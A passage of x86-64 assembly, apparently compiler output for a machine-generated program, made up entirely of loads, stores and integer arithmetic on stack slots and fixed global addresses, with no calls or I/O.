movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
or eax, ecx
mov byte [0x1401130e3], al
mov rax, qword [rsp + 0x88d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6048]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0x66d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x88]
sub eax, ecx
mov byte [rsp + 0x43], al
movzx eax, word [rsp + 0x8d4]
mov word [rsp + 0x113c], ax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0xab], al
mov eax, dword [rsp + 0x2e78]
mov dword [rsp + 0x3368], eax
mov rax, qword [rsp + 0x7ef0]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8528], rax
mov eax, dword [rsp + 0x2c94]
mov ecx, dword [rsp + 0x3240]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3184], eax
lea rax, [rsp + 0x92d0]
mov qword [rsp + 0x9548], rax
lea rax, [rsp + 0xf88]
mov qword [0x140114ae0], rax
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0x171]
add eax, ecx
mov rcx, qword [rsp + 0x5490]
mov byte [rcx], al
mov rax, qword [rsp + 0x67c8]
movzx eax, word [rax]
mov word [rsp + 0x1140], ax
mov rax, qword [0x1401145b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8350]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ba8]
movzx eax, byte [rax]
mov byte [rsp + 0x23f], al
mov rax, qword [rsp + 0x6690]
mov rcx, qword [rsp + 0x5790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d7c], eax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x7d48]
mov rcx, qword [rsp + 0x5970]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fd8]
mov qword [rcx], rax
mov rax, qword [0x1401145d8]
movzx eax, word [rax]
mov word [rsp + 0x1144], ax
mov rax, qword [rsp + 0x6ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6628]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401130e7], al
movsx eax, byte [rsp + 0xa4]
movsx ecx, byte [rsp + 0x1e9]
sub eax, ecx
mov rcx, qword [rsp + 0x5268]
mov byte [rcx], al
movzx eax, word [0x140114400]
movzx ecx, word [rsp + 0x1080]
sar eax, cl
mov word [rsp + 0x91c], ax
lea rax, [rsp + 0x904]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x9498]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3180]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e60]
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x84c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3360]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79f0]
mov qword [rsp + 0x9568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9568]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6d98], rax
lea rax, [rsp + 0xf58]
mov qword [rsp + 0x9570], rax
mov rax, qword [rsp + 0x6a88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
and eax, ecx
mov byte [0x1401130c6], al
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x6628]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
movzx eax, byte [rsp + 0x172]
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x5ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbb4]
add eax, ecx
mov word [rsp + 0xf8c], ax
mov rax, qword [rsp + 0x64b8]
mov rcx, qword [rsp + 0x5280]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x57c0]
mov qword [rsp + 0x9578], rax
mov eax, dword [rsp + 0x2eb4]
mov ecx, dword [rsp + 0x3254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d80], eax
lea rax, [rsp + 0x4b20]
mov qword [rsp + 0x9580], rax
mov rax, qword [0x1401145b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8330]
mov byte [rcx], al
movsx eax, word [rsp + 0x1024]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov rcx, qword [0x1401141a8]
mov word [rcx], ax
lea rax, [0x14011304a]
mov qword [rsp + 0x9588], rax
movzx eax, byte [rsp + 0x109]
mov rcx, qword [rsp + 0x7f40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7810]
mov byte [rcx], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x6d30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcbc], ax
lea rax, [rsp + 0x2c5c]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x6818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ea8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x70f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0x7308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57e8]
mov qword [rsp + 0x95a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x95a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7128]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ac]
movzx ecx, word [rsp + 0xb70]
sar eax, cl
mov rcx, qword [rsp + 0x65a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa78]
xor eax, ecx
mov word [0x1401131bc], ax
mov rax, qword [0x140114a28]
movzx eax, byte [rax]
mov byte [rsp + 0x241], al
mov rax, qword [rsp + 0x5058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfd4]
and eax, ecx
mov word [rsp + 0xe50], ax
lea rax, [rsp + 0x1d1]
mov qword [rsp + 0x95a8], rax
movsx eax, word [0x140114358]
mov rcx, qword [rsp + 0x65d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x87d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2fb4], eax
lea rax, [rsp + 0x3364]
mov qword [rsp + 0x95b0], rax
mov rax, qword [rsp + 0x5760]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8380], rax
lea rax, [rsp + 0x56d0]
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x8c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x73e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113084], ax
movzx eax, byte [0x1401130ca]
movzx ecx, byte [rsp + 0x131]
and eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x6488]
movzx eax, byte [rax]
mov byte [rsp + 0x242], al
movzx eax, byte [rsp + 0x1c0]
mov rcx, qword [rsp + 0x56a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa10], ax
mov rax, qword [rsp + 0x78d8]
mov qword [rsp + 0x95c0], rax
mov rax, qword [rsp + 0x9188]
mov ecx, dword [rsp + 0x3184]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0x5728]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b58], eax
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
mov word [0x140114ae8], ax
mov rax, qword [0x1401147a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x116]
shl eax, cl
mov byte [rsp + 0x5d], al
lea rax, [rsp + 0x111]
mov qword [rsp + 0x95d0], rax
movzx eax, word [rsp + 0x9ec]
movzx ecx, word [rsp + 0xb54]
sar eax, cl
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0x5230]
movzx eax, byte [rax]
mov byte [rsp + 0x243], al
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x8410]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x87b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5790]
mov rcx, qword [rsp + 0x8738]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2e40], eax
lea rax, [0x140114150]
mov qword [rsp + 0x95d8], rax
mov rax, qword [rsp + 0x5760]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x5b40]
mov qword [rsp + 0x8c68], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x84f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401130ea], al
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
mov byte [rsp + 0x244], al
movzx eax, word [rsp + 0xdc8]
movzx ecx, word [rsp + 0x101c]
add eax, ecx
mov word [rsp + 0x10b0], ax
movsx eax, word [rsp + 0xc30]
mov rcx, qword [0x1401146e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6f90]
mov word [rcx], ax
lea rax, [rsp + 0x10dc]
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0x7f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60f8]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x5760]
mov rcx, qword [rsp + 0x7148]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6840]
mov qword [rcx], rax
mov eax, dword [rsp + 0x30f0]
mov dword [rsp + 0x336c], eax
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0x8a30]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113164], ax
movsx eax, byte [0x140113093]
movsx ecx, byte [rsp + 0xa1]
and eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x9388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
add eax, ecx
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
lea rax, [rsp + 0xd50]
mov qword [rsp + 0x95f0], rax
movsx eax, word [0x1401130bc]
movsx ecx, word [rsp + 0xd6c]
sub eax, ecx
mov rcx, qword [rsp + 0x5d98]
mov word [rcx], ax
lea rax, [rsp + 0x8a58]
mov qword [rsp + 0x95f8], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x9030]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6520]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cb8]
mov rcx, qword [rsp + 0x5478]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x84a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e78]
mov eax, dword [rax]
mov dword [rsp + 0x3370], eax
mov rax, qword [rsp + 0x52d8]
movsx eax, byte [rax]
movsx ecx, byte [0x14011302a]
shl eax, cl
mov byte [0x1401130ab], al
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21a]
xor eax, ecx
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
mov rax, qword [rsp + 0x80b8]
movzx eax, byte [rax]
mov byte [rsp + 0x245], al
movzx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x85d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf7c], ax
movsx eax, word [rsp + 0xb58]
movsx ecx, word [rsp + 0x994]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov eax, dword [rsp + 0x30d0]
mov dword [rsp + 0x3374], eax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [rsp + 0x7910]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8210], rax
lea rax, [rsp + 0x301c]
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x8080]
mov rcx, qword [rsp + 0x6b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
lea rax, [0x140114237]
mov qword [0x140114af0], rax
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd28]
sub eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
lea rax, [rsp + 0xd60]
mov qword [rsp + 0x9608], rax
mov rax, qword [rsp + 0x5fe8]
movzx eax, byte [rax]
mov rcx, qword [0x140114748]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x246], al
mov rax, qword [rsp + 0x51a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2afc], eax
mov rax, qword [rsp + 0x8f18]
mov qword [rsp + 0x9610], rax
mov rax, qword [rsp + 0x64b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7668]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60b0]
mov qword [rcx], rax
lea rax, [rsp + 0x14b]
mov qword [0x140114af8], rax
movzx eax, word [0x140114430]
mov word [rsp + 0x1148], ax
mov rax, qword [rsp + 0x7c80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x8810]
movzx eax, word [rax]
mov word [rsp + 0x114c], ax
mov rax, qword [0x1401147a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x217]
shl eax, cl
mov rcx, qword [rsp + 0x8680]
mov byte [rcx], al
mov rax, qword [rsp + 0x6bd0]
mov rcx, qword [rsp + 0x8f50]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8080]
mov qword [rcx], rax
lea rax, [rsp + 0x3028]
mov qword [rsp + 0x9618], rax
mov rax, qword [rsp + 0x6320]
movzx ecx, al
mov rax, qword [rsp + 0x5410]
sar rax, cl
mov rcx, qword [rsp + 0x92e0]
mov qword [rcx], rax
lea rax, [rsp + 0x31f8]
mov qword [rsp + 0x9620], rax
movzx eax, byte [rsp + 0x165]
mov rcx, qword [rsp + 0x6628]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1a6], al
mov rax, qword [0x1401149a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb7c]
sub eax, ecx
mov rcx, qword [0x140114708]
mov word [rcx], ax
mov rax, qword [rsp + 0x7fb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9328]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov rcx, qword [rsp + 0x6e38]
mov word [rcx], ax
mov eax, dword [rsp + 0x2f4c]
mov dword [rsp + 0x3378], eax
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x60f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x31ec], eax
mov rax, qword [rsp + 0x8df0]
mov qword [rsp + 0x9628], rax
mov rax, qword [rsp + 0x8740]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c60]
movsx eax, byte [rax]
movsx ecx, byte [0x1401130b7]
add eax, ecx
mov rcx, qword [rsp + 0x6808]
mov byte [rcx], al
mov rax, qword [rsp + 0x7258]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9290]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011305e], al
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x248], al
movzx eax, byte [rsp + 0xab]
movzx ecx, byte [0x1401142e7]
sub eax, ecx
mov byte [rsp + 0x1b7], al
movzx eax, word [rsp + 0xc14]
mov word [rsp + 0x1150], ax
mov rax, qword [rsp + 0x6e20]
mov rcx, qword [rsp + 0x8248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x82b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x54a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7d48], rax
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
mov qword [rsp + 0x9630], rax
mov rax, qword [rsp + 0x6a18]
mov ecx, dword [rsp + 0x2b8c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2a5c], eax
lea rax, [0x14011305c]
mov qword [rsp + 0x9638], rax
movsx eax, word [rsp + 0xc70]
movsx ecx, word [rsp + 0xb28]
or eax, ecx
mov word [0x1401131c0], ax
mov rax, qword [rsp + 0x54c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa6]
sar eax, cl
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [0x1401146e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ba0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x86c], ax
lea rax, [rsp + 0x10c]
mov qword [rsp + 0x9640], rax
mov rax, qword [rsp + 0x7ae0]
mov rcx, qword [rsp + 0x5e38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6cf0], rax
mov rax, qword [rsp + 0x63a8]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x54b0]
mov rcx, qword [rsp + 0x5c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2be8], eax
mov eax, dword [rsp + 0x2eb4]
mov ecx, dword [rsp + 0x2c50]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75e8]
mov dword [rcx], eax
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x9650], rax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x7810]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140114850]
mov byte [rcx], al
mov rax, qword [rsp + 0x6408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov word [rcx], ax
mov rax, qword [rsp + 0x6990]
movzx eax, word [rax]
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x6f50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5990]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x146], al
lea rax, [rsp + 0x20b]
mov qword [rsp + 0x9658], rax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b90], eax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x4ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x8d80]
mov rax, qword [rax]
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x2dd0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5af8]
mov dword [rcx], eax
lea rax, [rsp + 0xbb4]
mov qword [0x140114b00], rax
mov rax, qword [rsp + 0x4c78]
movzx eax, word [rax]
mov word [rsp + 0x1158], ax
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0x54c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x80b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x21e]
movzx ecx, byte [rsp + 0x1f4]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
lea rax, [rsp + 0x948]
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x66c0]
mov qword [rsp + 0x9670], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9670]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2e6c], eax
lea rax, [rsp + 0x9060]
mov qword [rsp + 0x9678], rax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b7c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7030]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8fc8]
shl rax, cl
mov qword [rsp + 0x7518], rax
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
mov byte [0x14011430c], al
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x249], al
movsx eax, word [rsp + 0xcc8]
movsx ecx, word [0x140113194]
or eax, ecx
mov word [rsp + 0x8c8], ax
mov rax, qword [rsp + 0x6960]
movzx eax, word [rax]
mov word [rsp + 0x115c], ax
movzx eax, word [rsp + 0xafc]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb10], ax
lea rax, [rsp + 0x2e18]
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x5a78]
mov rcx, qword [rsp + 0x6ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7f70], rax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rax, [rsp + 0x8880]
mov qword [rsp + 0x9688], rax
movsx eax, word [0x140113160]
mov rcx, qword [rsp + 0x9650]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140114a60], ax
movzx eax, byte [rsp + 0x167]
movzx ecx, byte [rsp + 0x19b]
sub eax, ecx
mov rcx, qword [rsp + 0x6718]
mov byte [rcx], al
mov rax, qword [0x140114838]
movzx eax, byte [rax]
mov byte [rsp + 0x24a], al
movsx eax, byte [rsp + 0x247]
movsx ecx, byte [rsp + 0x209]
add eax, ecx
mov rcx, qword [rsp + 0x8d10]
mov byte [rcx], al
movzx eax, word [rsp + 0x8b0]
movzx ecx, word [rsp + 0xd24]
sub eax, ecx
mov word [rsp + 0xb8c], ax
lea rax, [rsp + 0x8f90]
mov qword [rsp + 0x9690], rax
mov eax, dword [rsp + 0x3248]
mov ecx, dword [rsp + 0x2a5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53f8]
mov dword [rcx], eax
lea rax, [rsp + 0x336c]
mov qword [rsp + 0x9698], rax
mov rax, qword [rsp + 0x83e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5218]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5708], rax
mov rax, qword [rsp + 0x5b28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1044]
xor eax, ecx
mov rcx, qword [0x1401146e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7e], al
movzx eax, byte [0x1401130a6]
mov byte [rsp + 0x24b], al
movzx eax, word [rsp + 0xf4c]
movzx ecx, word [rsp + 0xfe8]
shl eax, cl
mov rcx, qword [rsp + 0x8018]
mov word [rcx], ax
mov rax, qword [rsp + 0x5528]
movzx eax, word [rax]
mov word [rsp + 0x1160], ax
mov eax, dword [rsp + 0x312c]
mov ecx, dword [0x140114150]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cb0], eax
mov rax, qword [rsp + 0x5ba0]
mov rcx, qword [rsp + 0x9288]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6238], rax
mov eax, dword [rsp + 0x30e4]
mov dword [rsp + 0x337c], eax
mov rax, qword [rsp + 0x9000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7de8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6348], rax
movzx eax, word [rsp + 0xa50]
mov rcx, qword [rsp + 0x7590]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401131c4], ax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x96a0], rax
movsx eax, word [0x140113014]
mov rcx, qword [rsp + 0x79a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9210]
mov word [rcx], ax
lea rax, [rsp + 0x159]
mov qword [rsp + 0x96a8], rax
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8390]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x6308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6440]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c78]
mov qword [rcx], rax
lea rax, [rsp + 0x2cb8]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0x93e8]
imul rax, qword [rsp + 0x6720]
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x2fe8]
mov qword [rsp + 0x96b8], rax
lea rax, [rsp + 0xd00]
mov qword [0x140114b08], rax
movzx eax, byte [rsp + 0x178]
mov rcx, qword [rsp + 0x5d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5020]
mov byte [rcx], al
movzx eax, word [0x140113144]
mov rcx, qword [rsp + 0x9258]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb48], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x96c0], rax
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6188]
mov word [rcx], ax
mov eax, dword [0x140114150]
mov dword [rsp + 0x3380], eax
mov rax, qword [rsp + 0x51f0]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7a90], rax
mov rax, qword [rsp + 0x88c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2df0], eax
mov rax, qword [rsp + 0x7a20]
mov qword [rsp + 0x96c8], rax
mov rax, qword [rsp + 0x7328]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x147]
or eax, ecx
mov byte [0x1401130b7], al
movzx eax, byte [rsp + 0x5b]
mov rcx, qword [rsp + 0x8710]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe6], al
lea rax, [0x14011302e]
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0x7c20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x85a8]
movsx eax, word [rax]
mov rcx, qword [0x1401145e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x84d8]
mov word [rcx], ax
lea rax, [rsp + 0x6190]
mov qword [rsp + 0x96d8], rax
mov rax, qword [rsp + 0x4c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e54], eax
mov eax, dword [rsp + 0x316c]
mov dword [rsp + 0x3384], eax
mov rax, qword [rsp + 0x6750]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c30], rax
